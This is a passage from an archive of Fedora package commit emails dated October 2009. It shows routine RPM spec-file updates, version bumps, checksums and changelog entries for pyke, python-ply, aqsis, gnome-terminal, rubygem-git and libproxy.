+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.5.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Fri Jul 17 2009 Orion Poplawski <orion at cora.nwra.com> 4.5.0-1
 - Update to 4.5.0
 



From spot at fedoraproject.org  Mon Oct 19 21:00:41 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Mon, 19 Oct 2009 21:00:41 +0000 (UTC)
Subject: rpms/pyke/devel RELEASE_NOTES-1.0.3, NONE, 1.1 copyright_license,
	NONE, 1.1 pyke-1.0.3-no-ez_setup.patch, NONE, 1.1 .cvsignore, 1.8,
	1.9 pyke.spec, 1.11, 1.12 sources, 1.9, 1.10
Message-ID: <20091019210041.5C2B011C029A@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/pyke/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14650

Modified Files:
	.cvsignore pyke.spec sources 
Added Files:
	RELEASE_NOTES-1.0.3 copyright_license 
	pyke-1.0.3-no-ez_setup.patch 
Log Message:
1.0.3


--- NEW FILE RELEASE_NOTES-1.0.3 ---
1.0.3 RELEASE NOTES Oct 19, 2009

This release has two bug fixes in it.  The big thing is that the source code
repository has been moved from Subversion to Mercurial.  This is the first
release under Mercurial.

Please report bugs to http://sourceforge.net/projects/pyke at either:

    forum => help
 or tracker => bugs


INCOMPATIBILITIES WITH 1.0.2 RELEASE:

    - The source code repository has been moved from subversion to mercurial
      to make it easier for people to contribute to the project.  If you have
      the source code checked out under subversion, and want to stay abreast
      of developments or contribute your changes back to the project, you will
      need to switch to Mercurial.


FEATURE ENHANCEMENTS:

    - Moved the source code repository from Subversion to Mercurial!
    - Did some enhancements to examples/web_framework/web_framework.tst to
      better report server errors.
    - Added examples/web_framework/director.html as another example html
      template.
    - Upgraded to 3.3 version of PLY.


BUGS FIXED:

The following bugs have been fixed:

    - Fixed bug #2881934: py2exe doesn't work with Pyke
    - Applied patch #2787699: hash function returns void



--- NEW FILE copyright_license ---
Copyright ? 2007 Bruce Frederiksen

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

pyke-1.0.3-no-ez_setup.patch:
 setup.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE pyke-1.0.3-no-ez_setup.patch ---
diff -up pyke-1.0.3/setup.py.BAD pyke-1.0.3/setup.py
--- pyke-1.0.3/setup.py.BAD	2009-10-19 16:48:24.663368264 -0400
+++ pyke-1.0.3/setup.py	2009-10-19 16:48:29.407272571 -0400
@@ -1,8 +1,8 @@
 #!/usr/bin/env python
 
 # Make sure the user has setuptools installed!
-import ez_setup
-ez_setup.use_setuptools()
+# import ez_setup
+# ez_setup.use_setuptools()
 
 from setuptools import setup
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pyke/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	22 Apr 2009 19:39:03 -0000	1.8
+++ .cvsignore	19 Oct 2009 21:00:41 -0000	1.9
@@ -1 +1,2 @@
-pyke-1.0.2.tar.gz
+pyke-1.0.3.tar.gz
+pyke_doc_html-1.0.3.tar.gz


Index: pyke.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pyke/devel/pyke.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- pyke.spec	26 Jul 2009 19:53:01 -0000	1.11
+++ pyke.spec	19 Oct 2009 21:00:41 -0000	1.12
@@ -2,16 +2,22 @@
 
 Name:			pyke
 Summary:		Knowledge-based inference engine
-Version:		1.0.2
-Release:		2%{?dist}
+Version:		1.0.3
+Release:		1%{?dist}
 License:		MIT
 Group:			System Environment/Libraries
 URL:			http://pyke.sourceforge.net/
 Source0:		http://download.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
+# Taken from pyke-1.0.2
+# https://sourceforge.net/tracker/?func=detail&aid=2881969&group_id=207724&atid=1002827
+Source1:		copyright_license
+Source2:		http://download.sourceforge.net/%{name}/RELEASE_NOTES-1.0.3
+Source3:		http://download.sourceforge.net/%{name}/pyke_doc_html-%{version}.tar.gz
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:		noarch
 BuildRequires:		python-devel, python-setuptools
 Requires:		python-ply
+Patch0:			pyke-1.0.3-no-ez_setup.patch
 
 %description
 Pyke is a knowledge-based inference engine (expert system) written in 100% 
@@ -22,7 +28,9 @@ python that can:
   functions into complete call graphs.
 
 %prep
-%setup -q 
+%setup -q -a3
+%patch0 -p1 -b .no-ez_setup
+cp %{SOURCE1} %{SOURCE2} .
 
 %build
 %{__python} setup.py build
@@ -40,11 +48,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README copyright_license RELEASE_NOTES-* doc/
+%doc README copyright_license RELEASE_NOTES-* html/
 %{python_sitelib}/%{name}/
 %{python_sitelib}/%{name}-%{version}*.egg-info/
 
 %changelog
+* Mon Oct 19 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.0.3-1
+- update to 1.0.3
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyke/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	22 Apr 2009 19:39:04 -0000	1.9
+++ sources	19 Oct 2009 21:00:41 -0000	1.10
@@ -1 +1,2 @@
-e812d22af70e30d47926ff42fe807d3e  pyke-1.0.2.tar.gz
+2c6d038e845886bd16d3eee1d8c3ef81  pyke-1.0.3.tar.gz
+9b3a1e5f657d8fd6929675125e049402  pyke_doc_html-1.0.3.tar.gz



From spot at fedoraproject.org  Mon Oct 19 21:02:28 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Mon, 19 Oct 2009 21:02:28 +0000 (UTC)
Subject: rpms/python-ply/devel .cvsignore, 1.4, 1.5 python-ply.spec, 1.6,
	1.7 sources, 1.4, 1.5
Message-ID: <20091019210228.BC16011C00DC@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/python-ply/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14981

Modified Files:
	.cvsignore python-ply.spec sources 
Log Message:
3.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-ply/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Apr 2009 19:31:21 -0000	1.4
+++ .cvsignore	19 Oct 2009 21:02:28 -0000	1.5
@@ -1 +1 @@
-ply-3.2.tar.gz
+ply-3.3.tar.gz


Index: python-ply.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-ply/devel/python-ply.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- python-ply.spec	26 Jul 2009 20:51:27 -0000	1.6
+++ python-ply.spec	19 Oct 2009 21:02:28 -0000	1.7
@@ -2,8 +2,8 @@
 
 Name:			python-ply
 Summary: 		Python Lex-Yacc
-Version:		3.2
-Release:		2%{?dist}
+Version:		3.3
+Release:		1%{?dist}
 License:		BSD
 Group:			System Environment/Libraries
 URL:			http://www.dabeaz.com/ply/
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/ply*.egg-info
 
 %changelog
+* Mon Oct 19 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.3-1
+- update to 3.3
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-ply/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 Apr 2009 19:31:21 -0000	1.4
+++ sources	19 Oct 2009 21:02:28 -0000	1.5
@@ -1 +1 @@
-afc9dcfc3284e3a8269c97cc4802cb53  ply-3.2.tar.gz
+4a7f837f71a7c1ea6b5b0c57272909c7  ply-3.3.tar.gz



From kwizart at fedoraproject.org  Mon Oct 19 21:03:23 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 21:03:23 +0000 (UTC)
Subject: rpms/aqsis/devel aqsis.spec,1.19,1.20
Message-ID: <20091019210323.5C42011C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15108/devel

Modified Files:
	aqsis.spec 
Log Message:
Resurect aqsisrc-lib



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/devel/aqsis.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- aqsis.spec	19 Oct 2009 20:50:27 -0000	1.19
+++ aqsis.spec	19 Oct 2009 21:03:23 -0000	1.20
@@ -1,6 +1,6 @@
 Name:		aqsis
 Version:	1.6.0
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Open source 3D rendering solution adhering to the RenderMan standard
 Group:		Applications/Multimedia
 
@@ -129,6 +129,10 @@ pushd build
 make install DESTDIR=$RPM_BUILD_ROOT
 popd
 
+# Move aqsisrc
+mv $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc \
+  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc-%{_lib}
+
 desktop-file-install --vendor "" --delete-original \
   --dir $RPM_BUILD_ROOT%{_datadir}/applications \
   $RPM_BUILD_ROOT%{_datadir}/applications/aqsis.desktop
@@ -235,7 +239,7 @@ fi || :
 
 
 %changelog
-* Mon Oct 19 2009  kwizart < kwizart at gmail.com > - 1.6.0-2
+* Mon Oct 19 2009  kwizart < kwizart at gmail.com > - 1.6.0-3
 - Minor updates to SPEC file by Leon Tony Atkinson - <latkinson at aqsis.org> 
 
 * Sat Oct 17 2009 kwizart < kwizart at gmail.com > - 1.6.0-1



From kwizart at fedoraproject.org  Mon Oct 19 21:03:23 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 21:03:23 +0000 (UTC)
Subject: rpms/aqsis/F-12 aqsis.spec,1.19,1.20
Message-ID: <20091019210323.8756A11C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15108/F-12

Modified Files:
	aqsis.spec 
Log Message:
Resurect aqsisrc-lib



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/aqsis.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- aqsis.spec	19 Oct 2009 20:50:27 -0000	1.19
+++ aqsis.spec	19 Oct 2009 21:03:23 -0000	1.20
@@ -1,6 +1,6 @@
 Name:		aqsis
 Version:	1.6.0
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Open source 3D rendering solution adhering to the RenderMan standard
 Group:		Applications/Multimedia
 
@@ -129,6 +129,10 @@ pushd build
 make install DESTDIR=$RPM_BUILD_ROOT
 popd
 
+# Move aqsisrc
+mv $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc \
+  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/aqsisrc-%{_lib}
+
 desktop-file-install --vendor "" --delete-original \
   --dir $RPM_BUILD_ROOT%{_datadir}/applications \
   $RPM_BUILD_ROOT%{_datadir}/applications/aqsis.desktop
@@ -235,7 +239,7 @@ fi || :
 
 
 %changelog
-* Mon Oct 19 2009  kwizart < kwizart at gmail.com > - 1.6.0-2
+* Mon Oct 19 2009  kwizart < kwizart at gmail.com > - 1.6.0-3
 - Minor updates to SPEC file by Leon Tony Atkinson - <latkinson at aqsis.org> 
 
 * Sat Oct 17 2009 kwizart < kwizart at gmail.com > - 1.6.0-1



From mclasen at fedoraproject.org  Mon Oct 19 21:05:13 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 21:05:13 +0000 (UTC)
Subject: rpms/gnome-terminal/F-12 gnome-terminal.spec,1.131,1.132
Message-ID: <20091019210513.7B66511C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15873

Modified Files:
	gnome-terminal.spec 
Log Message:
2.28.1



Index: gnome-terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-terminal/F-12/gnome-terminal.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- gnome-terminal.spec	19 Oct 2009 20:55:22 -0000	1.131
+++ gnome-terminal.spec	19 Oct 2009 21:05:12 -0000	1.132
@@ -22,8 +22,6 @@ Source1: profile-new-dialog.ui
 Patch2: gnome-terminal-2.15.0-338913-revert-336325.patch
 # From upstream trunk
 Patch3: tab-switching.patch
-# https://bugzilla.gnome.org/show_bug.cgi?id=597378
-Patch4: leak.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -58,7 +56,6 @@ clickable URLs.
 %setup -q
 %patch2 -p1 -b .338913-revert-336325
 %patch3 -p1 -b .tab-switching
-%patch4 -p1 -b .leak
 
 %build
 



From kanarip at fedoraproject.org  Mon Oct 19 21:18:05 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Mon, 19 Oct 2009 21:18:05 +0000 (UTC)
Subject: rpms/rubygem-git/devel .cvsignore, 1.2, 1.3 import.log, 1.2,
	1.3 rubygem-git.spec, 1.4, 1.5 sources, 1.2, 1.3
Message-ID: <20091019211805.4973C11C00DC@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-git/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19149/devel

Modified Files:
	.cvsignore import.log rubygem-git.spec sources 
Log Message:
1.2.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2008 23:30:36 -0000	1.2
+++ .cvsignore	19 Oct 2009 21:18:04 -0000	1.3
@@ -1 +1 @@
-ruby-git-1.0.7.tar.gz
+git-1.2.4.gem


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	2 Oct 2008 00:17:23 -0000	1.2
+++ import.log	19 Oct 2009 21:18:05 -0000	1.3
@@ -1,2 +1,3 @@
 rubygem-git-1_0_7-3_fc10:HEAD:rubygem-git-1.0.7-3.fc10.src.rpm:1222903823
 rubygem-git-1_0_7-4_fc9:HEAD:rubygem-git-1.0.7-4.fc9.src.rpm:1222906631
+rubygem-git-1_2_4-1_fc12:HEAD:rubygem-git-1.2.4-1.fc12.src.rpm:1255987072


Index: rubygem-git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/devel/rubygem-git.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- rubygem-git.spec	27 Jul 2009 03:29:53 -0000	1.4
+++ rubygem-git.spec	19 Oct 2009 21:18:05 -0000	1.5
@@ -5,15 +5,15 @@
 
 Summary:        A package for using Git in Ruby code
 Name:           rubygem-%{gemname}
-Version:        1.0.7
-Release:        6%{?dist}
+Version:        1.2.4
+Release:        1%{?dist}
 Group:          Development/Languages
 License:        MIT
 URL:            http://rubyforge.org/projects/git/
-Source0:        http://rubyforge.org/frs/download.php/37828/ruby-%{gemname}-%{version}.tar.gz
+Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:       rubygems
-Requires:	ruby(abi) = 1.8
+Requires:       ruby(abi) = 1.8
 BuildRequires:  rubygems
 BuildRequires:  rubygem-rake
 BuildArch:      noarch
@@ -23,32 +23,31 @@ Provides:       rubygem(%{gemname}) = %{
 A package for using Git in Ruby code.
 
 %prep
-%setup -q -c
 
 %build
-rake package
 
 %install
 rm -rf %{buildroot}
 mkdir -p %{buildroot}%{gemdir}
 gem install --local --install-dir %{buildroot}%{gemdir} \
-            --force --rdoc pkg/%{gemname}-%{version}.gem
+            --force --rdoc %{SOURCE0}
 
 %clean
 rm -rf %{buildroot}
 
 %files
 %defattr(-, root, root, -)
-%{gemdir}/gems/%{gemname}-%{version}/
-%doc LICENSE README TODO History.txt
+%dir %{geminstdir}
+%doc %{geminstdir}/README
 %doc %{gemdir}/doc/%{gemname}-%{version}
+%{geminstdir}/lib
 %{gemdir}/cache/%{gemname}-%{version}.gem
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 
 %changelog
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-6
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Wed Oct 14 2009 Jeroen van Meeuwen <j.van.meeuwen at ogd.nl> - 1.2.4-1
+- New upstream version
 
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2008 23:30:36 -0000	1.2
+++ sources	19 Oct 2009 21:18:05 -0000	1.3
@@ -1 +1 @@
-bf5332bce59ff07e6dab7e03b7c169fc  ruby-git-1.0.7.tar.gz
+bc6646f81862bdc3bc22c5d8eb5ba0ba  git-1.2.4.gem



From kanarip at fedoraproject.org  Mon Oct 19 21:18:45 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Mon, 19 Oct 2009 21:18:45 +0000 (UTC)
Subject: rpms/rubygem-git/F-12 .cvsignore, 1.2, 1.3 import.log, 1.2,
	1.3 rubygem-git.spec, 1.4, 1.5 sources, 1.2, 1.3
Message-ID: <20091019211845.97F7411C00DC@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-git/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19364/F-12

Modified Files:
	.cvsignore import.log rubygem-git.spec sources 
Log Message:
1.2.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2008 23:30:36 -0000	1.2
+++ .cvsignore	19 Oct 2009 21:18:45 -0000	1.3
@@ -1 +1 @@
-ruby-git-1.0.7.tar.gz
+git-1.2.4.gem


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	2 Oct 2008 00:17:23 -0000	1.2
+++ import.log	19 Oct 2009 21:18:45 -0000	1.3
@@ -1,2 +1,3 @@
 rubygem-git-1_0_7-3_fc10:HEAD:rubygem-git-1.0.7-3.fc10.src.rpm:1222903823
 rubygem-git-1_0_7-4_fc9:HEAD:rubygem-git-1.0.7-4.fc9.src.rpm:1222906631
+rubygem-git-1_2_4-1_fc12:F-12:rubygem-git-1.2.4-1.fc12.src.rpm:1255987109


Index: rubygem-git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-12/rubygem-git.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- rubygem-git.spec	27 Jul 2009 03:29:53 -0000	1.4
+++ rubygem-git.spec	19 Oct 2009 21:18:45 -0000	1.5
@@ -5,15 +5,15 @@
 
 Summary:        A package for using Git in Ruby code
 Name:           rubygem-%{gemname}
-Version:        1.0.7
-Release:        6%{?dist}
+Version:        1.2.4
+Release:        1%{?dist}
 Group:          Development/Languages
 License:        MIT
 URL:            http://rubyforge.org/projects/git/
-Source0:        http://rubyforge.org/frs/download.php/37828/ruby-%{gemname}-%{version}.tar.gz
+Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:       rubygems
-Requires:	ruby(abi) = 1.8
+Requires:       ruby(abi) = 1.8
 BuildRequires:  rubygems
 BuildRequires:  rubygem-rake
 BuildArch:      noarch
@@ -23,32 +23,31 @@ Provides:       rubygem(%{gemname}) = %{
 A package for using Git in Ruby code.
 
 %prep
-%setup -q -c
 
 %build
-rake package
 
 %install
 rm -rf %{buildroot}
 mkdir -p %{buildroot}%{gemdir}
 gem install --local --install-dir %{buildroot}%{gemdir} \
-            --force --rdoc pkg/%{gemname}-%{version}.gem
+            --force --rdoc %{SOURCE0}
 
 %clean
 rm -rf %{buildroot}
 
 %files
 %defattr(-, root, root, -)
-%{gemdir}/gems/%{gemname}-%{version}/
-%doc LICENSE README TODO History.txt
+%dir %{geminstdir}
+%doc %{geminstdir}/README
 %doc %{gemdir}/doc/%{gemname}-%{version}
+%{geminstdir}/lib
 %{gemdir}/cache/%{gemname}-%{version}.gem
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 
 %changelog
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-6
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Wed Oct 14 2009 Jeroen van Meeuwen <j.van.meeuwen at ogd.nl> - 1.2.4-1
+- New upstream version
 
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2008 23:30:36 -0000	1.2
+++ sources	19 Oct 2009 21:18:45 -0000	1.3
@@ -1 +1 @@
-bf5332bce59ff07e6dab7e03b7c169fc  ruby-git-1.0.7.tar.gz
+bc6646f81862bdc3bc22c5d8eb5ba0ba  git-1.2.4.gem



From kanarip at fedoraproject.org  Mon Oct 19 21:19:31 2009
From: kanarip at fedoraproject.org (Jeroen van Meeuwen)
Date: Mon, 19 Oct 2009 21:19:31 +0000 (UTC)
Subject: rpms/rubygem-git/F-11 .cvsignore, 1.2, 1.3 import.log, 1.2,
	1.3 rubygem-git.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091019211931.44F9711C00DC@cvs1.fedora.phx.redhat.com>

Author: kanarip

Update of /cvs/pkgs/rpms/rubygem-git/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19566/F-11

Modified Files:
	.cvsignore import.log rubygem-git.spec sources 
Log Message:
1.2.4-1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2008 23:30:36 -0000	1.2
+++ .cvsignore	19 Oct 2009 21:19:30 -0000	1.3
@@ -1 +1 @@
-ruby-git-1.0.7.tar.gz
+git-1.2.4.gem


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	2 Oct 2008 00:17:23 -0000	1.2
+++ import.log	19 Oct 2009 21:19:30 -0000	1.3
@@ -1,2 +1,3 @@
 rubygem-git-1_0_7-3_fc10:HEAD:rubygem-git-1.0.7-3.fc10.src.rpm:1222903823
 rubygem-git-1_0_7-4_fc9:HEAD:rubygem-git-1.0.7-4.fc9.src.rpm:1222906631
+rubygem-git-1_2_4-1_fc12:F-11:rubygem-git-1.2.4-1.fc12.src.rpm:1255987154


Index: rubygem-git.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-11/rubygem-git.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- rubygem-git.spec	25 Feb 2009 21:47:20 -0000	1.3
+++ rubygem-git.spec	19 Oct 2009 21:19:30 -0000	1.4
@@ -5,15 +5,15 @@
 
 Summary:        A package for using Git in Ruby code
 Name:           rubygem-%{gemname}
-Version:        1.0.7
-Release:        5%{?dist}
+Version:        1.2.4
+Release:        1%{?dist}
 Group:          Development/Languages
 License:        MIT
 URL:            http://rubyforge.org/projects/git/
-Source0:        http://rubyforge.org/frs/download.php/37828/ruby-%{gemname}-%{version}.tar.gz
+Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:       rubygems
-Requires:	ruby(abi) = 1.8
+Requires:       ruby(abi) = 1.8
 BuildRequires:  rubygems
 BuildRequires:  rubygem-rake
 BuildArch:      noarch
@@ -23,30 +23,32 @@ Provides:       rubygem(%{gemname}) = %{
 A package for using Git in Ruby code.
 
 %prep
-%setup -q -c
 
 %build
-rake package
 
 %install
 rm -rf %{buildroot}
 mkdir -p %{buildroot}%{gemdir}
 gem install --local --install-dir %{buildroot}%{gemdir} \
-            --force --rdoc pkg/%{gemname}-%{version}.gem
+            --force --rdoc %{SOURCE0}
 
 %clean
 rm -rf %{buildroot}
 
 %files
 %defattr(-, root, root, -)
-%{gemdir}/gems/%{gemname}-%{version}/
-%doc LICENSE README TODO History.txt
+%dir %{geminstdir}
+%doc %{geminstdir}/README
 %doc %{gemdir}/doc/%{gemname}-%{version}
+%{geminstdir}/lib
 %{gemdir}/cache/%{gemname}-%{version}.gem
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 
 %changelog
+* Wed Oct 14 2009 Jeroen van Meeuwen <j.van.meeuwen at ogd.nl> - 1.2.4-1
+- New upstream version
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.7-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-git/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2008 23:30:36 -0000	1.2
+++ sources	19 Oct 2009 21:19:30 -0000	1.3
@@ -1 +1 @@
-bf5332bce59ff07e6dab7e03b7c169fc  ruby-git-1.0.7.tar.gz
+bc6646f81862bdc3bc22c5d8eb5ba0ba  git-1.2.4.gem



From kwizart at fedoraproject.org  Mon Oct 19 21:20:21 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 21:20:21 +0000 (UTC)
Subject: rpms/libproxy/devel .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 libproxy.spec, 1.5, 1.6 sources, 1.2,
	1.3 libproxy-0.2.3-dbus.patch, 1.1, NONE
Message-ID: <20091019212021.1081311C02A4@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/libproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20407/devel

Modified Files:
	.cvsignore import.log libproxy.spec sources 
Removed Files:
	libproxy-0.2.3-dbus.patch 
Log Message:
Update to 0.3.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libproxy/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	23 Jan 2009 15:09:43 -0000	1.2
+++ .cvsignore	19 Oct 2009 21:20:20 -0000	1.3
@@ -1 +1 @@
-libproxy-0.2.3.tar.gz
+libproxy-0.3.0.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/libproxy/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	23 Jan 2009 15:09:43 -0000	1.1
